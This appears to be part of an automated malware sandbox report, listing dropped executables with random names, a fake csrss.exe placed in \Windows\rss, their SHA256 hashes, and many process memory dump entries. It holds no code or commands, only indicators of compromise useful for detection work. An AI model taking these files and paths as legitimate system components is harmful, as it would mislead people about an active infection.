                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                              TReirmqMnKSxS247VYXz9MP3.exe
                                                                                                                                                                                                                                                              • Path \Users\Admin\Pictures\TReirmqMnKSxS247VYXz9MP3.exe
                                                                                                                                                                                                                                                              • Size 4.2MB
                                                                                                                                                                                                                                                              • SHA256 9eb4f9df9e7489857a1720954cbedb0fc62c8d56ade99cc5cb0db885e99e2fcf
                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                              Z3Gq0XI51gW491VIPjOM9DxH.exe
                                                                                                                                                                                                                                                              • Path \Users\Admin\Pictures\Z3Gq0XI51gW491VIPjOM9DxH.exe
                                                                                                                                                                                                                                                              • Size 5.9MB
                                                                                                                                                                                                                                                              • SHA256 ce9154bcddeed4f8ef2d46c65e866ea8803a30508473d3196a3f7bc810ba0933
                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                              Z3Gq0XI51gW491VIPjOM9DxH.exe
                                                                                                                                                                                                                                                              • Path \Users\Admin\Pictures\Z3Gq0XI51gW491VIPjOM9DxH.exe
                                                                                                                                                                                                                                                              • Size 5.1MB
                                                                                                                                                                                                                                                              • SHA256 17dcfbb1608bc8971518bb63f01619b65c64902956bc86906120c36c2028e3f4
                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                              Z3Gq0XI51gW491VIPjOM9DxH.exe
                                                                                                                                                                                                                                                              • Path \Users\Admin\Pictures\Z3Gq0XI51gW491VIPjOM9DxH.exe
                                                                                                                                                                                                                                                              • Size 5.2MB
                                                                                                                                                                                                                                                              • SHA256 53c3396c1664ab916d7cc1894441c4cebc00d374441a5a617ac3d8f25443d30e
                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                              a3WlMv4oSKhHBIWSDIKi10ji.exe
                                                                                                                                                                                                                                                              • Path \Users\Admin\Pictures\a3WlMv4oSKhHBIWSDIKi10ji.exe
                                                                                                                                                                                                                                                              • Size 1.8MB
                                                                                                                                                                                                                                                              • SHA256 8d53d502c8743a21bb0e1457b227906da838c22c87d666b13df4cf255d4721ec
                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                              a3WlMv4oSKhHBIWSDIKi10ji.exe
                                                                                                                                                                                                                                                              • Path \Users\Admin\Pictures\a3WlMv4oSKhHBIWSDIKi10ji.exe
                                                                                                                                                                                                                                                              • Size 1.9MB
                                                                                                                                                                                                                                                              • SHA256 accbd09b49d0ed8bb12e0555aff5f312e684378e1063759a99392ef22479b62f
                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                              jL7PjLLqtK3O6OVwBaBshVG4.exe
                                                                                                                                                                                                                                                              • Path \Users\Admin\Pictures\jL7PjLLqtK3O6OVwBaBshVG4.exe
                                                                                                                                                                                                                                                              • Size 896KB
                                                                                                                                                                                                                                                              • SHA256 1a3cc8d10f00a54aa9db18dc648d8acc8491fe44424a588356995a095a323896
                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                              lA4hV7MdygvkaWydPyhG60rA.exe
                                                                                                                                                                                                                                                              • Path \Users\Admin\Pictures\lA4hV7MdygvkaWydPyhG60rA.exe
                                                                                                                                                                                                                                                              • Size 441KB
                                                                                                                                                                                                                                                              • SHA256 764e50277949eb7a015004482342c6aa3f25f6848e0170ca50a1193a2488fc22
                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                              csrss.exe
                                                                                                                                                                                                                                                              • Path \Windows\rss\csrss.exe
                                                                                                                                                                                                                                                              • Size 960KB
                                                                                                                                                                                                                                                              • SHA256 e3a1b250de0a5cd7a1275f7741658af3f05210369649b86640669ab4a2581f1a
                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                              csrss.exe
                                                                                                                                                                                                                                                              • Path \Windows\rss\csrss.exe
                                                                                                                                                                                                                                                              • Size 3.2MB
                                                                                                                                                                                                                                                              • SHA256 dab56daece14b408dcc3103b61af2f923ea5fe1772704ebd5e7903e9311dfd52
                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                              memory/304-211-0x0000000002C30000-0x000000000351B000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/304-345-0x0000000000400000-0x0000000000D1C000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/304-212-0x0000000000400000-0x0000000000D1C000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/304-338-0x0000000000400000-0x0000000000D1C000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/304-210-0x0000000002830000-0x0000000002C28000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/304-355-0x0000000002830000-0x0000000002C28000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/304-209-0x0000000002830000-0x0000000002C28000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1232-444-0x0000000000400000-0x0000000000573000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1232-332-0x0000000000400000-0x0000000000573000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1232-153-0x0000000000400000-0x0000000000573000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1232-152-0x0000000000230000-0x000000000029E000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1232-239-0x0000000000740000-0x0000000000840000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1232-150-0x0000000000740000-0x0000000000840000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1232-451-0x0000000000740000-0x0000000000840000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1232-446-0x0000000003140000-0x0000000003670000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1508-370-0x0000000000730000-0x0000000000830000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1508-229-0x0000000000220000-0x0000000000247000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1508-628-0x0000000000400000-0x000000000063B000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1508-344-0x0000000061E00000-0x0000000061EF3000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1508-228-0x0000000000730000-0x0000000000830000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1508-343-0x0000000000400000-0x000000000063B000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1508-410-0x0000000000400000-0x000000000063B000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1508-508-0x0000000000400000-0x000000000063B000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1508-629-0x0000000000730000-0x0000000000830000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1508-462-0x0000000000400000-0x000000000063B000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1508-240-0x0000000000400000-0x000000000063B000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1620-358-0x0000000002560000-0x0000000002958000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1620-411-0x0000000000400000-0x0000000000D1C000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1620-427-0x0000000002560000-0x0000000002958000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1620-360-0x0000000002560000-0x0000000002958000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1620-362-0x0000000000400000-0x0000000000D1C000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1624-367-0x00000000027F0000-0x0000000002BE8000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1624-409-0x00000000027F0000-0x0000000002BE8000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1624-399-0x0000000000400000-0x0000000000D1C000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1624-373-0x0000000000400000-0x0000000000D1C000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1624-364-0x00000000027F0000-0x0000000002BE8000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1636-351-0x0000000000400000-0x0000000000D1C000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1636-341-0x00000000027F0000-0x0000000002BE8000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1636-394-0x0000000000400000-0x0000000000D1C000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1636-347-0x00000000027F0000-0x0000000002BE8000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1728-433-0x0000000002610000-0x0000000002A08000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1728-523-0x0000000000400000-0x0000000000D1C000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1728-677-0x0000000000400000-0x0000000000D1C000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1728-607-0x0000000002610000-0x0000000002A08000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1728-480-0x0000000000400000-0x0000000000D1C000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1728-428-0x0000000002610000-0x0000000002A08000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1728-461-0x0000000000400000-0x0000000000D1C000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1812-491-0x0000000140000000-0x00000001405E8000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1812-506-0x0000000140000000-0x00000001405E8000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1880-11-0x0000000002940000-0x00000000029C0000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1880-4-0x000000001B370000-0x000000001B652000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1880-12-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1880-10-0x0000000002940000-0x00000000029C0000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1880-9-0x0000000002940000-0x00000000029C0000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1880-8-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1880-5-0x0000000002620000-0x0000000002628000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1964-342-0x0000000000400000-0x0000000000D1C000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1964-334-0x0000000002A60000-0x000000000334B000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1964-331-0x0000000000400000-0x0000000000D1C000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1964-330-0x0000000002660000-0x0000000002A58000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1964-356-0x0000000002660000-0x0000000002A58000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/1964-329-0x0000000002660000-0x0000000002A58000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2040-642-0x0000000000380000-0x00000000003A0000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2040-646-0x00000000740A0000-0x000000007478E000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2052-165-0x0000000002740000-0x0000000002B38000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2052-178-0x0000000002740000-0x0000000002B38000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2052-179-0x0000000002B40000-0x000000000342B000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2052-180-0x0000000000400000-0x0000000000D1C000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2052-333-0x0000000002740000-0x0000000002B38000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2052-337-0x0000000000400000-0x0000000000D1C000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2052-353-0x0000000000400000-0x0000000000D1C000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2560-455-0x0000000000400000-0x0000000000930000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2560-643-0x0000000000400000-0x0000000000930000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2560-485-0x0000000000400000-0x0000000000930000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2560-470-0x0000000000230000-0x0000000000231000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2612-454-0x000000013F520000-0x000000013FF37000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2612-550-0x000000013F520000-0x000000013FF37000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2612-459-0x000007FE80010000-0x000007FE80011000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2612-457-0x000000013F520000-0x000000013FF37000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2612-458-0x00000000001F0000-0x00000000001F1000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2612-456-0x000007FEFCF20000-0x000007FEFCF8C000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2612-453-0x000000013F520000-0x000000013FF37000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2612-635-0x000000013F520000-0x000000013FF37000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2612-647-0x000007FEFCF20000-0x000007FEFCF8C000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2612-447-0x000000013F520000-0x000000013FF37000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2612-468-0x0000000076EA0000-0x0000000077049000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2612-463-0x000000013F520000-0x000000013FF37000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2612-469-0x000000013F520000-0x000000013FF37000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2612-471-0x000000013F520000-0x000000013FF37000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2612-484-0x000000013F520000-0x000000013FF37000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2612-460-0x000000013F520000-0x000000013FF37000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2644-22-0x0000000000400000-0x0000000000408000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2644-140-0x00000000045C0000-0x0000000004600000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2644-56-0x00000000740A0000-0x000000007478E000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2644-24-0x00000000045C0000-0x0000000004600000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2644-23-0x00000000740A0000-0x000000007478E000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2644-20-0x0000000000400000-0x0000000000408000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2644-464-0x00000000095D0000-0x0000000009FE7000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2644-16-0x0000000000400000-0x0000000000408000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2644-17-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2644-18-0x0000000000400000-0x0000000000408000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2644-15-0x0000000000400000-0x0000000000408000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2644-14-0x0000000000400000-0x0000000000408000-memory.dmp
                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                              memory/2644-13-0x0000000000400000-0x0000000000408000-memory.dmp
                                                                                                                                                                                                                                                              Download